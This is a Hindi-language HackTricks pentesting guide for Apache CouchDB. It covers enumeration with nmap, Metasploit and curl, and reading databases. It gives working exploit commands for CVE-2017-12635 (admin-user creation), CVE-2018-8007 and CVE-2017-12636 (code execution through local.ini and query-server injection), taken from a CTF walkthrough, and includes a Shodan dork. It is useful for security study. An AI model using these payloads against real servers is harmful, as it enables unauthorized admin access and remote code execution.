5984,6984 - Pentesting CouchDB

Reading time: 14 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

CouchDB एक बहुपरकारी और शक्तिशाली दस्तावेज़-उन्मुख डेटाबेस है जो डेटा को प्रत्येक दस्तावेज़ के भीतर की-मान मानचित्र संरचना का उपयोग करके व्यवस्थित करता है। दस्तावेज़ के भीतर के फ़ील्ड को की/मान जोड़े, सूचियों, या मानचित्रों के रूप में प्रस्तुत किया जा सकता है, जो डेटा संग्रहण और पुनर्प्राप्ति में लचीलापन प्रदान करता है।

CouchDB में संग्रहीत प्रत्येक दस्तावेज़ को दस्तावेज़ स्तर पर एक विशिष्ट पहचानकर्ता (_id) सौंपा जाता है। इसके अतिरिक्त, डेटाबेस में किए गए और सहेजे गए प्रत्येक संशोधन को एक संशोधन संख्या (_rev) सौंपा जाता है। यह संशोधन संख्या परिवर्तनों के कुशल ट्रैकिंग और प्रबंधन की अनुमति देती है, जिससे डेटाबेस के भीतर डेटा की आसान पुनर्प्राप्ति और समन्वय की सुविधा होती है।

डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

स्वचालित गणना

bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

मैनुअल एन्यूमरेशन

बैनर

curl http://IP:5984/

यह स्थापित CouchDB उदाहरण के लिए एक GET अनुरोध जारी करता है। उत्तर कुछ इस तरह दिखना चाहिए:

bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

note

ध्यान दें कि यदि आप couchdb की रूट तक पहुँचते हैं और आपको 401 Unauthorized मिलता है जैसे: {"error":"unauthorized","reason":"Authentication required."} तो आप बैनर या किसी अन्य एंडपॉइंट तक पहुँच नहीं पाएंगे।

Info Enumeration

ये वे एंडपॉइंट हैं जहाँ आप GET अनुरोध के साथ पहुँच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप couchdb दस्तावेज़ में अधिक एंडपॉइंट और अधिक विस्तृत विवरण पा सकते हैं.

  • /_active_tasks चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया ID शामिल है।
  • /_all_dbs CouchDB उदाहरण में सभी डेटाबेस की सूची लौटाता है।
  • **/_cluster_setup** नोड या क्लस्टर की स्थिति लौटाता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।
  • /_db_updates CouchDB उदाहरण में सभी डेटाबेस घटनाओं की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए _global_changes डेटाबेस का अस्तित्व आवश्यक है।
  • /_membership क्लस्टर का हिस्सा होने वाले नोड्स को cluster_nodes के रूप में प्रदर्शित करता है। फ़ील्ड all_nodes सभी नोड्स को प्रदर्शित करता है जिनके बारे में इस नोड को पता है, जिसमें क्लस्टर के हिस्से वाले नोड्स भी शामिल हैं।
  • /_scheduler/jobs पुनरुत्पादन कार्यों की सूची। प्रत्येक कार्य विवरण में स्रोत और लक्ष्य जानकारी, पुनरुत्पादन ID, हाल की घटना का इतिहास, और कुछ अन्य चीजें शामिल होंगी।
  • /_scheduler/docs पुनरुत्पादन दस्तावेज़ राज्यों की सूची। इसमें सभी दस्तावेज़ों के बारे में जानकारी शामिल है, यहां तक कि completed और failed राज्यों में भी। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ ID, डेटाबेस, पुनरुत्पादन ID, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} एंडपॉइंट का उपयोग उस सर्वर के Erlang नोड नाम की पुष्टि करने के लिए किया जा सकता है जो अनुरोध को संसाधित करता है। यह /_node/_local तक पहुँचने पर इस जानकारी को प्राप्त करने के लिए सबसे उपयोगी है।
  • /_node/{node-name}/_stats _stats संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए सांख्यिकी होती है। शाब्दिक स्ट्रिंग _local स्थानीय नोड नाम के लिए एक उपनाम के रूप में कार्य करती है, इसलिए सभी सांख्यिकी URL के लिए, {node-name} को _local के साथ प्रतिस्थापित किया जा सकता है, स्थानीय नोड की सांख्यिकी के साथ बातचीत करने के लिए।
  • /_node/{node-name}/_system _system संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न सिस्टम-स्तरीय सांख्यिकी होती है। आप वर्तमान नोड जानकारी प्राप्त करने के लिए {node-name} के रूप में ___local का उपयोग कर सकते हैं।
  • /_node/{node-name}/_restart
  • /_up पुष्टि करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का उत्तर देने के लिए तैयार है। यदि maintenance_mode true या nolb है, तो एंडपॉइंट 404 प्रतिक्रिया लौटाएगा।
  • **/_uuids** CouchDB उदाहरण से एक या अधिक यूनिवर्सली यूनिक आइडेंटिफायर (UUIDs) का अनुरोध करता है।
  • **/_reshard** पूर्ण, विफल, चल रहे, रुके हुए, और कुल कार्यों की संख्या के साथ-साथ क्लस्टर पर पुनःशार्दन की स्थिति लौटाता है।

यहाँ समझाए गए अनुसार अधिक दिलचस्प जानकारी निकाली जा सकती है: https://lzone.de/cheat-sheet/CouchDB

Database List

curl -X GET http://IP:5984/_all_dbs

यदि वह अनुरोध 401 अनधिकृत के साथ प्रतिक्रिया करता है, तो आपको डेटाबेस तक पहुँचने के लिए कुछ मान्य क्रेडेंशियल्स की आवश्यकता है:

curl -X GET http://user:password@IP:5984/_all_dbs

सही Credentials खोजने के लिए आप कोशिश कर सकते हैं सेवा को ब्रूटफोर्स करें

यह एक उदाहरण है एक couchdb प्रतिक्रिया का जब आपके पास पर्याप्त विशेषाधिकार होते हैं डेटाबेस की सूची बनाने के लिए (यह केवल डेटाबेस की एक सूची है):

bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

आप कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) डेटाबेस नाम तक पहुँचकर प्राप्त कर सकते हैं:

bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

दस्तावेज़ सूची

डेटाबेस के अंदर प्रत्येक प्रविष्टि की सूची बनाएं

bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

दस्तावेज़ पढ़ें

एक डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:

bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB विशेषाधिकार वृद्धि CVE-2017-12635

Erlang और JavaScript JSON पार्सर्स के बीच के अंतर के कारण आप निम्नलिखित अनुरोध के साथ एक व्यवस्थापक उपयोगकर्ता बना सकते हैं जिसमें क्रेडेंशियल्स hacktricks:hacktricks हैं:

bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

इस vuln के बारे में अधिक जानकारी यहाँ.

CouchDB RCE

Erlang कुकी सुरक्षा अवलोकन

उदाहरण यहाँ से.

CouchDB दस्तावेज़ में, विशेष रूप से क्लस्टर सेट-अप से संबंधित अनुभाग में (link), क्लस्टर मोड में CouchDB द्वारा पोर्ट के उपयोग पर चर्चा की गई है। इसमें उल्लेख किया गया है कि, स्टैंडअलोन मोड की तरह, पोर्ट 5984 का उपयोग किया जाता है। इसके अतिरिक्त, पोर्ट 5986 नोड-स्थानीय APIs के लिए है, और महत्वपूर्ण रूप से, Erlang को Erlang पोर्ट मैपर डेमन (EPMD) के लिए TCP पोर्ट 4369 की आवश्यकता होती है, जो Erlang क्लस्टर के भीतर नोड संचार को सुविधाजनक बनाता है। यह सेटअप एक नेटवर्क बनाता है जहाँ प्रत्येक नोड हर अन्य नोड के साथ इंटरलिंक होता है।

पोर्ट 4369 के बारे में एक महत्वपूर्ण सुरक्षा सलाह दी गई है। यदि इस पोर्ट को इंटरनेट या किसी अविश्वसनीय नेटवर्क पर सुलभ बनाया जाता है, तो सिस्टम की सुरक्षा एक अद्वितीय पहचानकर्ता "कुकी" पर भारी रूप से निर्भर करती है। यह कुकी एक सुरक्षा उपाय के रूप में कार्य करती है। उदाहरण के लिए, एक दिए गए प्रक्रिया सूची में, "monster" नामक कुकी देखी जा सकती है, जो सिस्टम की सुरक्षा ढांचे में इसकी संचालन भूमिका को इंगित करती है।

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

उन लोगों के लिए जो यह समझने में रुचि रखते हैं कि इस "कुकी" का उपयोग कैसे किया जा सकता है Remote Code Execution (RCE) के लिए Erlang सिस्टम के संदर्भ में, आगे पढ़ने के लिए एक समर्पित अनुभाग उपलब्ध है। यह अनधिकृत तरीकों से Erlang कुकीज़ का उपयोग करके सिस्टम पर नियंत्रण प्राप्त करने के लिए विधियों का विवरण देता है। आप यहां RCE के लिए Erlang कुकीज़ का दुरुपयोग करने पर विस्तृत गाइड का अन्वेषण कर सकते हैं

local.ini में संशोधन के माध्यम से CVE-2018-8007 का शोषण

उदाहरण यहां से

हाल ही में प्रकट हुई एक भेद्यता, CVE-2018-8007, जो Apache CouchDB को प्रभावित करती है, का अन्वेषण किया गया, जिसमें यह पता चला कि शोषण के लिए local.ini फ़ाइल पर लिखने की अनुमति की आवश्यकता होती है। हालांकि सुरक्षा प्रतिबंधों के कारण यह प्रारंभिक लक्ष्य प्रणाली पर सीधे लागू नहीं होता, लेकिन अन्वेषण उद्देश्यों के लिए local.ini फ़ाइल पर लिखने की अनुमति देने के लिए संशोधन किए गए। नीचे विस्तृत चरण और कोड उदाहरण प्रदान किए गए हैं, जो प्रक्रिया को प्रदर्शित करते हैं।

पहले, वातावरण को इस बात की पुष्टि करके तैयार किया जाता है कि local.ini फ़ाइल लिखने योग्य है, जिसे अनुमतियों की सूची बनाकर सत्यापित किया जाता है:

bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

कमजोरी का लाभ उठाने के लिए, एक curl कमांड निष्पादित की जाती है, जो local.ini में cors/origins कॉन्फ़िगरेशन को लक्षित करती है। यह [os_daemons] अनुभाग के तहत अतिरिक्त कमांड के साथ एक नया मूल जोड़ता है, जिसका उद्देश्य मनमाना कोड निष्पादित करना है:

bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

पश्चात सत्यापन local.ini में इंजेक्ट की गई कॉन्फ़िगरेशन को दिखाता है, इसे बैकअप के साथ तुलना करके परिवर्तनों को उजागर करता है:

bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

शुरुआत में, अपेक्षित फ़ाइल (/tmp/0xdf) मौजूद नहीं है, जो यह दर्शाता है कि इंजेक्ट किया गया कमांड अभी तक निष्पादित नहीं हुआ है। आगे की जांच से पता चलता है कि CouchDB से संबंधित प्रक्रियाएँ चल रही हैं, जिसमें एक ऐसा भी है जो संभावित रूप से इंजेक्ट किए गए कमांड को निष्पादित कर सकता है:

bash
root@canape:/home/homer/bin# ps aux | grep couch

पहचाने गए CouchDB प्रक्रिया को समाप्त करके और सिस्टम को स्वचालित रूप से इसे पुनः प्रारंभ करने की अनुमति देकर, इंजेक्ट किए गए कमांड का निष्पादन शुरू होता है, जिसे पहले गायब फ़ाइल की उपस्थिति से पुष्टि की जाती है:

bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

यह अन्वेषण विशेष परिस्थितियों के तहत CVE-2018-8007 शोषण की व्यवहार्यता की पुष्टि करता है, विशेष रूप से local.ini फ़ाइल के लिए लिखने योग्य पहुंच की आवश्यकता। प्रदान किए गए कोड उदाहरण और प्रक्रियात्मक चरण नियंत्रित वातावरण में शोषण को दोहराने के लिए एक स्पष्ट मार्गदर्शिका प्रदान करते हैं।

CVE-2018-8007 के बारे में अधिक जानकारी के लिए, mdsec द्वारा सलाह का संदर्भ लें: CVE-2018-8007

local.ini पर लिखने की अनुमति के साथ CVE-2017-12636 का अन्वेषण

उदाहरण यहां से

CVE-2017-12636 के रूप में ज्ञात एक भेद्यता का अन्वेषण किया गया, जो CouchDB प्रक्रिया के माध्यम से कोड निष्पादन को सक्षम बनाता है, हालांकि विशिष्ट कॉन्फ़िगरेशन इसके शोषण को रोक सकते हैं। ऑनलाइन उपलब्ध कई प्रमाणित अवधारणाओं (POC) के संदर्भों के बावजूद, CouchDB संस्करण 2 पर भेद्यता का शोषण करने के लिए समायोजन आवश्यक हैं, जो सामान्यतः लक्षित संस्करण 1.x से भिन्न हैं। प्रारंभिक चरणों में CouchDB संस्करण की पुष्टि करना और अपेक्षित क्वेरी सर्वरों के पथ की अनुपस्थिति की पुष्टि करना शामिल है:

bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB संस्करण 2.0 के लिए, एक नया पथ उपयोग किया जाता है:

bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

नए क्वेरी सर्वर को जोड़ने और सक्रिय करने के प्रयासों को अनुमति से संबंधित त्रुटियों का सामना करना पड़ा, जैसा कि निम्नलिखित आउटपुट द्वारा संकेतित है:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

अधिक जांच से local.ini फ़ाइल के साथ अनुमति समस्याएँ सामने आईं, जो लिखने योग्य नहीं थी। रूट या होमर एक्सेस के साथ फ़ाइल अनुमतियों को संशोधित करके, आगे बढ़ना संभव हो गया:

bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

क्वेरी सर्वर को जोड़ने के लिए बाद के प्रयास सफल रहे, जैसा कि प्रतिक्रिया में त्रुटि संदेशों की कमी से प्रदर्शित होता है। local.ini फ़ाइल में सफल संशोधन की पुष्टि फ़ाइल तुलना के माध्यम से की गई:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

प्रक्रिया एक डेटाबेस और एक दस्तावेज़ बनाने के साथ जारी रही, इसके बाद नए जोड़े गए क्वेरी सर्वर के लिए कस्टम व्यू मैपिंग के माध्यम से कोड निष्पादित करने का प्रयास किया गया:

bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A सारांश जिसमें एक वैकल्पिक पेलोड है, विशेष परिस्थितियों के तहत CVE-2017-12636 का शोषण करने के बारे में और जानकारी प्रदान करता है। इस कमजोरियों का शोषण करने के लिए उपयोगी संसाधन में शामिल हैं:

Shodan

  • port:5984 couchdb

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें